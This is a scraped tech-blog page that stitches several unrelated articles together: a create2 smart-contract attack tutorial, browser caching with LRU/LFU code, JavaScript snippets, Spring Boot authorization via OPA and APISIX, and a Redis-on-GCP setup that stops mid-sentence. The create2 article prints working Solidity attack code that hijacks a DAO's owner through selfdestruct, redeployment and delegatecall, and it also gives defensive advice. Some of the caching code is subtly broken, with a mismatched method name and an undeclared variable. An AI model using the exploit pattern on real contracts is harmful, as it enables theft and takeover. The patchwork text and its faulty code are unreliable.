Keytos

keytos

Node.js Tutorial: How to Build a Simple Event-Driven Application With Kafka

Node.js টিউটোরিয়াল: কাফকা দিয়ে কিভাবে একটি সহজ ইভেন্ট-চালিত অ্যাপ্লিকেশন তৈরি করবেন

Node.js-Tutorial: So erstellen Sie mit Kafka eine einfache ereignisgesteuerte Anwendung

Tutorial de Node.js: Cómo crear una aplicación sencilla basada en eventos con Kafka

Tutoriel Node.js : Comment créer une application simple basée sur des événements avec Kafka

Node.js ट्यूटोरियल: Kafka के साथ एक सरल इवेंट-संचालित एप्लिकेशन कैसे बनाएं

Node.js チュートリアル: Kafka を使用してシンプルなイベント駆動型アプリケーションを構築する方法

Node.js 튜토리얼: Kafka를 사용하여 간단한 이벤트 기반 애플리케이션을 구축하는 방법

Tutorial Node.js: como criar um aplicativo simples baseado em eventos com Kafka

Учебное пособие по Node.js: как создать простое событийно-управляемое приложение с помощью Kafka

Node.js Eğitimi: Kafka ile Basit, Olay Odaklı Bir Uygulama Nasıl Oluşturulur

Hướng dẫn về Node.js: Cách xây dựng một ứng dụng hướng sự kiện đơn giản với Kafka

Node.js 教程：如何使用 Kafka 构建简单的事件驱动应用程序

38 Lifehacks From "Tools of Titans" by Tim Ferriss

Key Management System: Everything You Need to Know

কী ম্যানেজমেন্ট সিস্টেম: আপনার যা জানা দরকার

Schlüsselverwaltungssystem: Alles, was Sie wissen müssen

Sistema de gestión de claves: todo lo que necesita saber

Système de gestion des clés : tout ce que vous devez savoir

कुंजी प्रबंधन प्रणाली: वह सब कुछ जो आपको जानना आवश्यक है

鍵管理システム: 知っておくべきことすべて

키 관리 시스템: 알아야 할 모든 것

Sistema de gerenciamento de chaves: tudo o que você precisa saber

Система управления ключами: все, что вам нужно знать

Anahtar Yönetim Sistemi: Bilmeniz Gereken Her Şey

Hệ thống quản lý khóa: Mọi thứ bạn cần biết

密钥管理系统：您需要了解的一切

Can Your Java Cryptography Architecture Survive a Quantum Attack?

A create2 opcode attack in smart contracts essentially exploits the feature of this opcode to deploy contracts at a specific address. This feature, combined with certain contract logic, can become a vulnerability to be exploited. Although the create2 opcode is quite simple, it provides greater flexibility for contract implementation, making it very common in today's DeFi protocols. 🌐 For instance, in UniswapV3, token liquidity pools are automatically deployed using a factory contract. When we call some functions of the UniswapV3 contract (like flash loans), we can calculate the address of the corresponding liquidity pool in a way similar to this: address pool = address(
            uint160(
                uint(
                    keccak256(
                        abi.encodePacked(
                            hex"ff",
                            factory,
                            keccak256(abi.encode(key.token0, key.token1, key.fee)),
                            POOL_INIT_CODE_HASH
                        )
                    )
                )
            ); This is because the create2 opcode calculates the address when deploying a contract using four parameters: the first is to avoid address collision with contracts deployed using create, the second is the address of the contract deployer, the third is a salt value determined by the deployer, and the fourth is a hash value calculated from the contract's bytecode and packed parameters. 🧩 bytes1(0xff) This reminds us to be mindful of the deployment method of contracts and the possibility of changing the content of the called contract through the create2 opcode, potentially injecting malicious code. 🛡️ In this article, I will demonstrate a simple create2 attack example and how to prevent such attacks. First, Let's Describe the Process of a create2 Attack Alice deploys a simple contract, whose main function is to approve proposals created by others and then execute these proposals through delegatecall. The code is as follows: DAO // SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract DAO {
    struct Proposal {
        address target;
        bool approved;
        bool executed;
    }

    address public owner = msg.sender;
    Proposal[] public proposals;

    function approve(address target) external {
        require(msg.sender == owner, "not authorized");
        proposals.push(Proposal({target: target, approved: true, executed: false}));
    }

    function execute(uint256 proposalId) external payable {
        Proposal storage proposal = proposals[proposalId];
        require(proposal.approved, "not approved");
        require(!proposal.executed, "executed");
        proposal.executed = true;
        (bool ok, ) = proposal.target.delegatecall(
            abi.encodeWithSignature("executeProposal()")
        );
        require(ok, "delegatecall failed");
    }
} The attacker, Eve, discovers a vulnerability in this DAO contract and deploys a Deployer contract. This contract uses the create2 opcode to deploy two other contracts. One is the legitimate Proposal contract, and the other is the Attack contract used for the attack. The code is as follows: contract Deployer {
    event Log(address addr);

    function deployProposal(uint256 salt) external {
        address addr = address(new Proposal{salt: salt}());
        emit Log(addr);
    }

    function deployAttack(uint256 salt) external {
        address addr = address(new Attack{salt: salt}());
        emit Log(addr);
    }
}

contract Proposal {
    event Log(string message);

    function executeProposal() external {
        emit Log("Executed code approved by DAO");
    }

    function emergencyStop() external {
        selfdestruct(payable(address(0)));
    }
}

contract Attack {
    event Log(string message);

    address public owner;

    function executeProposal() external {
        emit Log("Executed code not approved by DAO :)");
        // For example - set DAO's owner to attacker
        owner = msg.sender;
    }
} A simplified process of a create2 attack: Eve first uses the Deployer contract with a predetermined salt value (e.g., ) to deploy the Proposal contract, which is a legitimate proposal. 🧱 bytes32 salt = keccak256(abi.encode(uint(123))); Eve submits this proposal to Alice, and Alice calls the DAO contract to approve this proposal. ✅ Eve invokes the emergencyStop function of the Proposal contract, triggering selfdestruct, and thus destroying the contract. 💥 Eve uses the Deployer contract with the same salt value (e.g., ) to deploy the Attack contract, inserting malicious code. 🕵️‍♂️ bytes32 salt = keccak256(abi.encode(uint(123))); Alice calls the execute function of the DAO contract to execute the proposal. Since the Proposal struct's data structure and the execute function's logic do not check the internal logic of the proposal at the time of execution, they only execute based on the address of the already approved proposal contract. Therefore, the delegatecall actually calls the Attack contract. 🚨 The Attack contract contains a function executeProposal with a signature identical to that in the Proposal contract, circumventing the function signature check in . As a result, the executeProposal function in the Attack contract is called, modifying variables in the corresponding storage slots of the DAO contract through delegatecall. 🔀 (bool ok, ) = proposal.target.delegatecall(abi.encodeWithSignature("executeProposal()")); Observing the storage slots of the DAO contract, the first one is the struct Proposal, which does not actually occupy storage slots when declared. Therefore, the variable at slot 0 is actually . Looking at the storage slots of the Attack contract, slot 0 also contains . So, the delegatecall to in the Attack contract results in changing the owner variable in the first storage slot of the DAO contract to the attacker, Eve. 🎭 address public owner = msg.sender; address public owner; owner = msg.sender; How to Prevent Such create2 Attacks This attack is quite simple in itself, but it shows that the combination of the create2 opcode and contract logic used extensively in today's mainstream DeFi protocols is not always perfect. Based on the principle of the attack, we can consider the following ways to reduce such risks: Before approving and executing any external contract calls, we should verify the content of the contract itself, not just represent the already deployed contract by its address. This can be achieved by verifying the contract's bytecode. 🔍 Be wary of contracts with selfdestruct functionality and limit and monitor calls to them. This can be achieved through code audits and contract governance. ⚠️ For DAO-type contracts, consider adding a time lock before executing proposals. This can provide enough buffer time to review the content of the proposal, ensuring it has not been replaced with malicious actions. ⏳ Be cautious in function calls involving delegatecall, as delegatecall will change the variables in the caller's own storage slots. Even if it's not malicious code, inconsistencies in the storage layout between the caller and the callee can lead to unexpected errors. 🤔 That concludes our discussion on create2 attacks and related security strategies. Since you've made it this far, how about giving me a like? 👍

What is a create2 Attack in Smart Contracts? How to Avoid It? 🤔

Before we start, let me remind you what cache is. It is a software component that stores data locally so that future requests for it can be served faster. Cache reduces the access time by storing frequently used data in a location that is easier to reach than the original data source. Browser caching comes in handy for any website or application to provide a faster, more seamless user experience. It is especially important for solutions operating with significant amounts of data (e.g., a website with lots of pictures). Also, it is of great help for handheld device users, saving mobile traffic and compensating for possible slow connection. First, let us have a look into the basic practices of caching technology: HTTP Cache Headers HTTP protocol gives us a powerful tool for caching data: HTTP cache headers. It allows us to cache data that is exchanged between the browser and the server. You can find exhaustive information about HTTP caching in MDN, but here we look at some practical recipes. Web apps have two types of content: dynamically generated content (like web pages) and static resources (javascript, CSS, fonts, images). To cache static resources, we can use the cache busting technique. In this case, we cache a resource for long periods of time (in some instances, it can be considered indefinite), as long as a static resource has a version in its URL: <script src="main.v98.js"></script> To cache static resources, we should add a header like this: Cache-Control: public, max-age=31536000 This technique cannot be applied to dynamic resources because they can change anytime, and we must validate them at each request. However, upon validation, the server can return an HTTP 304 (‘Not Modified’) if the content remained changed since the previous request. That would mean that the browser can retrieve content from the cache, saving time on sending tens or hundreds of kilobytes. For this purpose, it is really convenient to use the ETag header, which is a hash for dynamic content (for instance, a web page). The server compares the ETag that comes from the client with the hash of the requested page and tells the browser if it can use the cached version. Cache API Another way of browser caching is Cache API. Together with a service worker, it gives us an experience of a standalone (offline) application. Once a web page is downloaded, it can be used in offline mode. It is possible because the Cache API provides a mechanism for caching HTTP requests. However, unlike HTTP cache headers, we control it in the browser by means of JavaScript. Also, when you use cache headers, the browser is the one to decide when to evict a cached entity and you have no control over it. Using Cache API, on the contrary, means that evicting old entities is solely your own responsibility. Even though Cache API serves the purpose of caching HTTP requests, it can be also used for storing data. Here is a simple example of how it can be done: // Open cache store

const cache = await caches.open('test');

const data = {value: 'Hello world'};

// Put data to cache

await cache.put('some_data', new Response(JSON.stringify(data)))

// Get data from cache

const response = await cache.match('some_data')

const json = await response.json();

console.log(json) // {value: 'Hello world'} To control the amount of data you can store, you can use a navigator.storage.estimate(). It gives you an object with the following properties: quota - total storage in bytes usage - how many bytes currently are used However, as with all good things, caching comes at a price. One of the problems is determining what data should be cached and for how long. If too much data is cached, it can consume a significant amount of memory or storage space, which can negatively impact the system’s performance. To address this problem, cache eviction algorithms were created. The two best-known examples are Least Recently Used (LRU) and Least Frequently Used (LFU). Both of them are especially popular at technical interviews, so it is important to keep them in mind. Let us take a closer look at them and see how they can be implemented in a simple way using JavaScript. Least Recently Used (LRU) The basic idea behind LRU is to remove the least recently used items from the cache when the cache is full and a new item needs to be added. The assumption behind this algorithm is that the items that have not been accessed for a long time are less likely to be accessed in the future than items that were used more recently. In most cases, a double-linked list is used to implement this algorithm, but in JavaScript, we can do it in a much simpler way by using the Map method: class LRUCache{
   constructor(capacity) {
       this.capacity = capacity;
       this.map = new Map();
   }
   get(key) {
       const value = this.map.get(key);
       if(value !== undefined) {
       this.map.delete(key);
       this.map.set(key,value);
       return value;
       }
      
       return -1;
   }
   put(key, value) {
       this.get(key);
       this.map.set(key,value);
       if(this.map.size > this.capacity) {
           const keyToDel = this.map.keys().next().value;
           this.map.delete(keyToDel);
       }
   }
} Least Frequently Used (LFU) The idea here is to remove the least frequently used items from the cache when the cache is full and a new item needs to be added. In this case, the assumption is that the least frequently accessed items are less likely to be accessed in the future compared to the more frequently used items. Below, you can see a JavaScript implementation of this algorithm. It also employs the Map method, but is a bit more complex than LRU: class LFU {
   constructor(capacity) {
       this.capacity = capacity;
       this.map = new Map();
       this.freq = new Map([[0, new Set()]]);
   };


   _incrementFreq(key, freqVal) {
       this.freq.get(freqVal++).delete(key);
       if(!this.freq.has(freqVal)) {
           this.freq.set(freqVal, new Set());
       }
       this.freq.get(freqVal).add(key);
      
       return freqVal;
   }


   get(key) {
       const entity = this.map.get(key);
       if(!entity) {
           return -1;
       }
       const { value, freq } = entity;
       this.map.set(key, {value, freq: this.incrementFreq(key, freq)});
      
       return value;       
   }


   put(key, value) {
       if(this.capacity === 0) {
           return;
       }
       if(this.get(key) !== -1) {
           this.map.set(key, { ...this.map.get(key), value });       
       } else {
           if(this.map.size === this.capacity) {
               for(freqSet of this.freq.values()) {
                   if(freqSet.size !== 0) {
                       const kk = freqSet.values().next().value;
                       freqSet.delete(kk);
                       this.map.delete(kk);
                       break;
                   }   
               }   
           }
           this.map.set(key, { value, freq: 0 });
           this.freq.get(0).add(key);
       }  
   }
} This article is just a brief introduction to browser caching. It has two main goals. First, to provide a few quick and easy-to-use recipes for beginners. Second, to trigger further interest in the topic. There are countless resources dedicated to browser caching; here are a few handpicked ones for your further reading. Enjoy! For more fundamentals, check out this article: https://web.dev/love-your-cache/ A further introduction can be found here: https://web.dev/i18n/en/http-cache/ An article specially dedicated to API stuff: https://web.dev/i18n/en/cache-api-quick-guide/ Finally, a nice practical tutorial on caching: https://web.dev/codelab-http-cache/

Browser Caching: A Practical Introduction

Hi there, my name is and I am 18 years old. My goal is to become a successful developer, and I am interested in building web apps with frontend technologies. Rahul Today, I'd like to share some useful JavaScript stuff I have saved and I think it can help make your life as a developer easier. Let's get started! Generate a random number between two values: const randomNumber = Math.random() * (max - min) + min Check if a number is an integer: const isInteger = (num) => num % 1 === 0 Check if a value is or : null undefined const isNil = (value) => value === null || value === undefined Check if a value is a truthy value: const isTruthy = (value) => !!value Check if a value is a falsy value: const isFalsy = (value) => !value Check if a value is a valid credit card number: const isCreditCard = (cc) => {
  const regex = /(?:4[0-9]{12}(?:[0-9]{3})?|[25][1-7][0-9]{14}|6(?:011|5[0-9][0-9])[0-9]{12}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|(?:2131|1800|35\d{3})\d{11})/;
  return regex.test(cc);
} Check if a value is an object: const isObject = (obj) => obj === Object(obj) Check if a value is a function: const isFunction = (fn) => typeof fn === 'function' Remove Duplicated from Array const removeDuplicates = (arr) => [...new Set(arr)]; Check if a value is a promise: const isPromise = (promise) => promise instanceof Promise Check if a value is a valid email address: const isEmail = (email) => {
  const regex = /(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))/;
  return regex.test(email);
} Check if a string ends with a given suffix: const endsWith = (str, suffix) => str.endsWith(suffix) Check if a string starts with a given prefix: const startsWith = (str, prefix) => str.startsWith(prefix) Check if a value is a valid URL: const isURL = (url) => {
  const regex = /(?:http(s)?:\/\/)?[\w.-]+(?:\.[\w\.-]+)+[\w\-\._~:/?#[\]@!\$&'\*\+,;=.]+/;
  return regex.test(url);
} Check if a value is a valid hexadecimal color code: const isHexColor = (hex) => {
  const regex = /#?([0-9A-Fa-f]{6}|[0-9A-Fa-f]{3})/;
  return regex.test(hex);
} Check if a value is a valid postal code: const isPostalCode = (postalCode, countryCode) => {
  if (countryCode === 'US') {
    const regex = /[0-9]{5}(?:-[0-9]{4})?/;
    return regex.test(postalCode);
  } else if (countryCode === 'CA') {
    const regex = /[ABCEGHJKLMNPRSTVXY][0-9][ABCEGHJKLMNPRSTVWXYZ] [0-9][ABCEGHJKLMNPRSTVWXYZ][0-9]/;
    return regex.test(postalCode.toUpperCase());
  } else {
    // Add regex for other country codes as needed
    return false;
  }
} Check if a value is a DOM element: const isDOMElement = (value) => typeof value === 'object' && value.nodeType === 1 && typeof value.style === 'object' && typeof value.ownerDocument === 'object'; Check if a value is a valid CSS length (e.g. , , ): 10px 1em 50% const isCSSLength = (value) => /([-+]?[\d.]+)(%|[a-z]{1,2})/.test(String(value)); Check if a value is a valid date string (e.g. , , ): 2022-09-01 September 1, 2022 9/1/2022 const isDateString = (value) => !isNaN(Date.parse(value)); Check if a value is a number representing a safe integer (those integers that can be accurately represented in JavaScript): const isSafeInteger = (num) => Number.isSafeInteger(num) Check if a value is a valid Crypto address: //Ethereum
const isEthereumAddress = (address) => {
  const regex = /0x[a-fA-F0-9]{40}/;
  return regex.test(address);
}

//bitcoin
const isBitcoinAddress = (address) => {
  const regex = /[13][a-km-zA-HJ-NP-Z0-9]{25,34}/;
  return regex.test(address);
}

// ripple
const isRippleAddress = (address) => {
  const regex = /r[0-9a-zA-Z]{33}/;
  return regex.test(address);
} Check if a value is a valid RGB color code const isRGBColor = (rgb) => {
  const regex = /rgb$\s*([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\s*,\s*([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\s*,\s*([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\s*$/;
  return regex.test(rgb);
} Quickly create an array of characters from a string: const string = "abcdefg";
const array = [...string]; Quickly create an object with all the properties and values of another object, but with a different key for each property const original = {a: 1, b: 2, c: 3};
const mapped = {...original, ...Object.keys(original).reduce((obj, key) => ({...obj, [key.toUpperCase()]: original[key]}), {})}; Quickly create an array of numbers from 1 to 10 const array = [...Array(10).keys()].map(i => i + 1); Quickly shuffle an array const shuffle = (array) => array.sort(() => Math.random() - 0.5); Convert an array-like object (such as a NodeList) to an array const toArray = (arrayLike) => Array.prototype.slice.call(arrayLike); Sort Arrays //Ascending
const sortAscending = (array) => array.sort((a, b) => a - b);

//Descending
const sortDescending = (array) => array.sort((a, b) => b - a); Debounce a function const debounce = (fn, time) => {
  let timeout;
  return function(...args) {
    clearTimeout(timeout);
    timeout = setTimeout(() => fn.apply(this, args), time);
  };
}; Open a new tab with a given URL const openTab = (url) => {
  window.open(url, "_blank");
}; Get the difference between two dates const dateDiff = (date1, date2) => Math.abs(new Date(date1) - new Date(date2)); Generate a random string of a given length const randomString = (length) => {
  let result = "";
  const characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
  for (let i = 0; i < length; i++) {
    result += characters.charAt(Math.floor(Math.random() * characters.length));
  }
  return result;
}; Get value of cookie const getCookie = (name) => {
  const value = `; ${document.cookie}`;
  const parts = value.split(`; ${name}=`);
  if (parts.length === 2) return parts.pop().split(";").shift();
}; Thank you for Reading. It is important to note that simply copying and pasting code without understanding how it works can lead to problems down the line. It is always a good idea to test the code and ensure that it functions properly in the context of your project. Additionally, don't be afraid to customize the code to fit your specific needs. As a helpful tip, consider saving a collection of useful code snippets for quick reference in the future. I am also learning if I am going wrong somewhere, let me know. Also Published Here

32 Awesome JavaScript Snippets (one-liners) You Should Use in 2023 

Last week, I wrote about . I used rate limiting as an example, moving it from a library inside the application to the API Gateway. Today, I'll use another example: authentication and authorization. putting the right feature at the right place Securing a Spring Boot application I'll keep using Spring Boot in the following because I'm familiar with it. The Spring Boot application offers a REST endpoint to check employees' salaries. The specific use case is taken from the Open Policy Agent site (more later): Create a policy that allows users to request their own salary as well as the salary of their direct subordinates. We need a way to: Authenticate an HTTP request as coming from a known user Check whether the user has access to the salary data In any other case, return a . 401 I'll pass an authentication token in the request to keep things simple. I won't rely on a dedicated authentication/authorization backend, such as Keycloak, but it should be a similar approach if you do. To enable Spring Security on the app, we need to add the Spring Boot Security Starter. <dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency> We also need to enable Spring Security to work its magic: @SpringBootApplication
@EnableWebSecurity
class SecureBootApplication With those two steps in place, we can start securing the application according to the above requirement: internal fun security() = beans {                                       //1
    bean {
        val http = ref<HttpSecurity>()
        http {
            authorizeRequests {
                authorize("/finance/salary/**", authenticated)          //2
            }
            addFilterBefore<UsernamePasswordAuthenticationFilter>(
                TokenAuthenticationFilter(ref())                        //3
            )
            httpBasic { disable() }
            csrf { disable() }
            logout { disable() }
            sessionManagement {
                sessionCreationPolicy = SessionCreationPolicy.STATELESS
            }
        }
        http.build()
    }
    bean { TokenAuthenticationManager(ref(), ref()) }                   //4
} Use the Kotlin Beans DSL - because I can Only allow access to the endpoint to authenticated users Add a filter in the filter chain to replace regular authentication Add a custom authentication manager Requests look like the following: curl -H 'Authorization: xyz'  localhost:9080/finance/salary/bob The filter extracts from the request the necessary data used to decide whether to allow the request or not: internal class TokenAuthenticationFilter(authManager: AuthenticationManager) :
    AbstractAuthenticationProcessingFilter("/finance/salary/**", authManager) {

    override fun attemptAuthentication(req: HttpServletRequest, resp: HttpServletResponse): Authentication {
        val header = req.getHeader("Authorization")                   //1
        val path = req.servletPath.split('/')                         //2
        val token = KeyToken(header, path)                            //3
        return authenticationManager.authenticate(token)              //4
    }

    // override fun successfulAuthentication(
} Get the authentication token Get the path Wrap it under a dedicated structure Try to authenticate the token In turn, the manager tries to authenticate the token: internal class TokenAuthenticationManager(
    private val accountRepo: AccountRepository,
    private val employeeRepo: EmployeeRepository
) : AuthenticationManager {
  override fun authenticate(authentication: Authentication): Authentication {
    val token = authentication.credentials as String? ?:                       //1
        throw BadCredentialsException("No token passed")
    val account = accountRepo.findByPassword(token).orElse(null) ?:            //2
        throw BadCredentialsException("Invalid token")
    val path = authentication.details as List<String>
    val accountId = account.id
    val segment = path.last()
    if (segment == accountId) return authentication.withPrincipal(accountId)   //3
    val employee = employeeRepo.findById(segment).orElse(null)                 //4
    val managerUserName = employee?.manager?.userName
    if (managerUserName != null && managerUserName == accountId)               //5
        return authentication.withPrincipal(accountId)                         //5
    throw InsufficientAuthenticationException("Incorrect token")               //6
  }
} Get the authorization token passed from the filter Try to find the account that has this token. For simplicity's sake, the token is stored in plain text without hashing If the account tries to access its data, allow it If not, we must load the hierarchy from another repo. If the account attempts to access data from an employee they manage, allow it. Else, deny it. The whole flow can be summarized as the following: Now, we can try some requests. curl -H 'Authorization: bob' localhost:9080/finance/salary/bob asks for his own salary, and it works. bob curl -H 'Authorization: bob' localhost:9080/finance/salary/alice asks for the salary of one of his subordinates, and it works as well. bob curl -H 'Authorization: bob' localhost:9080/finance/salary/alice asks for her manager's salary, which is not allowed. alice The code above works perfectly but has one big issue: there's no way to audit the logic. One must know Kotlin and how Spring Security works to ensure the implementation is sound. Introducing Open Policy Agent Open Policy Agent, or OPA for short, describes itself as "Policy-based control for cloud native environments". Stop using a different policy language, policy model, and policy API for every product and service you use. Use OPA for a unified toolset and framework for policy across the cloud native stack. Whether for one service or for all your services, use OPA to decouple policy from the service's code so you can release, analyze, and review policies (which security and compliance teams love) without sacrificing availability or performance. -- OPA Website In short, OPA allows writing policies and offers a CLI and a daemon app to evaluate them. You write policies in a specific interpreted language named , and I must admit it's not fun. Anyway, here's our above policy written in "clear" text: Rego package ch.frankel.blog.secureboot

employees := data.hierarchy                                 //1

default allow := false

# Allow users to get their own salaries.
allow {
	input.path == ["finance", "salary", input.user]         //2
}

# Allow managers to get their subordinates' salaries.
allow {
	some username
	input.path = ["finance", "salary", username]            //3
	employees[input.user][_] == username                    //3
} Get the employee hierarchy somehow (see below) If the account requests their salary, allow access If the account requests the salary of a subordinate, allow access I used two variables in the above snippet: and . is the payload that the application sends to OPA. It should be in JSON format and has the following form: input data input {
    "path": [
        "finance",
        "salary",
        "alice"
    ],
    "user": "bob"
} More Open Policy Agent goodness However, OPA can't decide on the input alone, as it doesn't know the employee's hierarchy. One approach would be to load the hierarchy data on the app and send it to OPA. A more robust approach is to let OPA access external data to separate responsibilities cleanly. OPA offers to achieve it. Here, I pretend to extract data from the database, bundle it together with the policy file, serve the bundle via HTTP, and configure OPA to load it at regular intervals. many options Employee Note that you shouldn't use Apache APISIX only to serve static files. But since I'll be using it in the next evolution of my architecture, I want to avoid having a separate HTTP server to simplify the system. Now that we moved the decision logic to OPA, we can replace our code with a request to the OPA service. The new version of the authentication manager is: internal class OpaAuthenticationManager(
    private val accountRepo: AccountRepository,
    private val opaWebClient: WebClient
) : AuthenticationManager {

    override fun authenticate(authentication: Authentication): Authentication {
        val token = authentication.credentials as String? ?:                       //1
            throw BadCredentialsException("No token passed")
        val account = accountRepo.findByPassword(token).orElse(null) ?:             //1
            throw BadCredentialsException("Invalid token")
        val path = authentication.details as List<String>
        val decision = opaWebClient.post()                                         //2
            .accept(MediaType.APPLICATION_JSON)
            .contentType(MediaType.APPLICATION_JSON)
            .bodyValue(OpaInput(DataInput(account.id, path)))                      //3
            .exchangeToMono { it.bodyToMono(DecisionOutput::class.java) }          //4
            .block() ?: DecisionOutput(ResultOutput(false))                        //5
        if (decision.result.allow) return authentication.withPrincipal(account.id) //6
        else throw InsufficientAuthenticationException("OPA disallow")             //6
    }
} Keep the initial logic authentication Replace the authorization with a call to the OPA service Serialize the data to conform to the JSON input that the OPA policy expects Deserialize the result If something is wrong, the default should be to disallow Abide by OPA's result The flow is now the following: At this point, we moved the authorization logic from the code to OPA. Moving authentication to the API Gateway The next and final step is to move the logic The obvious candidate is the API Gateway since we set Apache APISIX in the previous step. In general, we should use the capabilities of the API Gateway as much as possible and fall back to libraries for the rest. authentication Apache APISIX has multiple authentication plugins available. Because I used a bearer token, I'll use . Let's create our users, or in Apache APISIX terms, : key-auth consumers consumers:
  - username: alice
    plugins:
      key-auth:
        key:  alice
  - username: betty
    plugins:
      key-auth:
        key:  betty
  - username: bob
    plugins:
      key-auth:
        key:  bob
  - username: charlie
    plugins:
      key-auth:
        key:  charlie Now, we can protect the Spring Boot upstream: routes:
  - uri: /finance/salary*
    upstream:
      type: roundrobin
      nodes:
        "boot:8080": 1
    plugins:
      key-auth:
        header: Authorization                    #1
      proxy-rewrite:
        headers:
          set:
            X-Account: $consumer_name            #2 Authenticate with and the header key-auth Authorization Sets the consumer id in the HTTP header for the upstream X-Account APISIX guarantees that requests that reach the Spring Boot app are authenticated. The code only needs to call the OPA service and follow the decision. We can entirely remove Spring Security and replace it with a filter: simple bean {
    val repo = ref<EmployeeRepository>()
    router {
        val props = ref<AppProperties>()
        val opaWebClient = WebClient.create(props.opaEndpoint)
        filter { req, next -> validateOpa(opaWebClient, req, next) }
        GET("/finance/salary/{user_name}") {
          // ...
        }
    }
}

internal fun validateOpa(
    opaWebClient: WebClient,
    req: ServerRequest,
    next: (ServerRequest) -> ServerResponse
): ServerResponse {
    val httpReq = req.servletRequest()
    val account = httpReq.getHeader("X-Account")                           //1
    val path = httpReq.servletPath.split('/').filter { it.isNotBlank() }
    val decision = opaWebClient.post()                                     //2
        .accept(MediaType.APPLICATION_JSON)
        .contentType(MediaType.APPLICATION_JSON)
        .bodyValue(OpaInput(DataInput(account, path)))
        .exchangeToMono { it.bodyToMono(DecisionOutput::class.java) }
        .block() ?: DecisionOutput(ResultOutput(false))
    return if (decision.result.allow) next(req)
    else ServerResponse.status(HttpStatus.UNAUTHORIZED).build()
} Get the account name from the API Gateway Nothing changes afterward The final flow is the following: Conclusion Everything looks like a nail when all you've got is a hammer. Developers' mighty hammer of choice is code. I've written tons of code to solve problems, and later on, I've used even more libraries to solve even more problems. As you evolve from developer to architect, you increase the number of tools you have. In this regard, code is only one tool among many. Your organization has many infrastructure tools you can leverage to develop solutions at minimal costs. In this post, I've shown how you can leverage OPA and Apache APISIX to move your authentication and authorization logic from the code to the infrastructure. The former allows you to audit your security policies, the latter coherence among all your upstream across all tech stacks. The complete source code for this post can be found on . GitHub To go further: Spring Security Open Policy Agent OPA Bundles Rego playground Spring Security Authorization with OPA Originally published at on February 26th, 2023 A Java Geek

How to Make Your Security Policy Auditable

This is the first post in this series where I build . In this post I focus on setting up the architecture to build an HTTP endpoint to do the following: a web chat powered by GCP free limits Anonymous users choose a username Users are ranked by recency of last access time After 10 minutes of inactivity, users are purged from the system A maximum of 100 users at a time Architecture and choice of components I want to have an effectively free infrastructure using GCP’s perpetually . The components for this post: free tier I will use to run the backend code. Cloud functions have a free limit of 2 million requests per month. I chose cloud functions because primarily because it requires little code to get started and I get observability and scalability out of the box. Cloud function: HTTP-based serverless cloud functions To store users’ data, I will use Redis because it is lightweight to run, fast and versatile for storing all kinds of data I will need for the chat app. But GCP’s implementation of Redis is not free. I work around this by installing Redis on a free compute instance (this somewhat limits scalability, but I have some room due to Redis’s memory efficiency). Redis: MemoryStore Connecting to rest of my VPC from cloud functions requires a . I work around this by connecting to Redis over the internet, but I need to ensure it is done over a secure connection. Connecting with Redis over the internet: (Serverless VPC access), which is not free VPC connector Installing Redis Google Cloud provides a free e2-micro instance as part of their monthly free tier. I will install Redis as a service on a compute instance. Providing an e2 micro instance in region -- let’s call the instance us-central1 pelican Reserve a static IP address to use and attach it to here pelican SSH into the instance and install the ( to get best TLS support) latest version Redis atleast version 7.0, If the compute instance is based on Debian, it is best to update the Redis config to be supervised by which is the default init system: change the file to update the supervision setting: systemd /etc/redis/redis.conf supervised systemd Remove the bind address to be nothing (all network interfaces on the instance should be able to access Redis) and the port to , add using the setting 12345 a password requirepass One last thing to do is to have access to the home directory -- this is only necessary because I store some files (generated later) in the home directory. allow the Redis service to be managed by systemd To do this, add or update the service file with this setting to read only: /etc/systemd/system/redis.service ProtectHome=read-only Reload systemd sudo systemctl daemon-reload Restart Redis sudo systemctl restart redis I can test Redis via the CLI locally on the instance mourjo@pelican:~$ redis-cli -p 12345
127.0.0.1:11219> AUTH somepassword
OK
127.0.0.1:11219> set x y
OK
127.0.0.1:11219> get x
"y" I want to connect to Redis over the internet, so first allow the port on to be accessible. On the in GCP console, create a new allow list with the following settings: pelican firewall tab Priority: 70 (less than the default value of 100) Direction: ingress Target tags: A tag that I will apply to the compute instance Source IPv4 ranges: allows every host to connect to this port 0.0.0.0/0 Protocol: TCP on port 12345 Edit the instance to apply this firewall using the “network tags” setting and using the tag I created the firewall with above (note that this opens up my instance to be accessible to anyone, so it is highly recommended to set a password as above) It should now be possible to connect to Redis from outside of the machine, for example from a computer that has not SSH’ed into the instance 🎉 Enabling TLS support for Redis So far I have set a password to access Redis but that data is still being transmitted over an unencrypted TCP connection which has two problems: It is very easy to and read the password intercept traffic Anyone can connect and start even without authenticating, causing my tiny instance to be overwhelmed sending a flood of traffic Both problems can be solved by using a where both the server and the client need to establish their identity even before interacting with Redis. . Therefore only known clients with the right private keys can access my server over an encrypted connection. secure connection over TLS (or mTLS) ensures that both the client and the server verify each other Mutual TLS Digital Certificates and Trust Establishment Digital certificates are commonly used in TLS and HTTPS to verify the identity of participants. In short, . a certificate is cryptographically verifiable proof that someone is who they say they are as attested by another authority If I am connecting to google.com, I need to know that I am in fact connecting to google.com and not someone impersonating google.com. This happens via a trust chain established between me (the browser) and the server (google.com): Google sends a certificate that has been cryptographically signed by a certifying authority (CA) and that signature is verifiable by us. It is important to note that I need to implicitly . This usually happens on the web via known issuers of certificates baked into browsers and operating systems (eg stores the CAs a Linux system implicitly trusts). Once I see a certificate that is signed by someone I trust, I can verify that the party claiming to be who they are (here google.com) is actually Google and not a spoof pretending to steal information from us. In reality, there may be intermediate authorities that do the actual certificate signing, but the intermediate CAs themselves must also have certificates signed by the root CA. trust the CA without question /etc/ssl/certs Image source. of the party whose identity is being verified. Using the server’s public key from the certificate, the client can encrypt a payload that only the server can decrypt, thus making the communication secure: Certificates contain the public key no other observer of the network can decrypt the information being 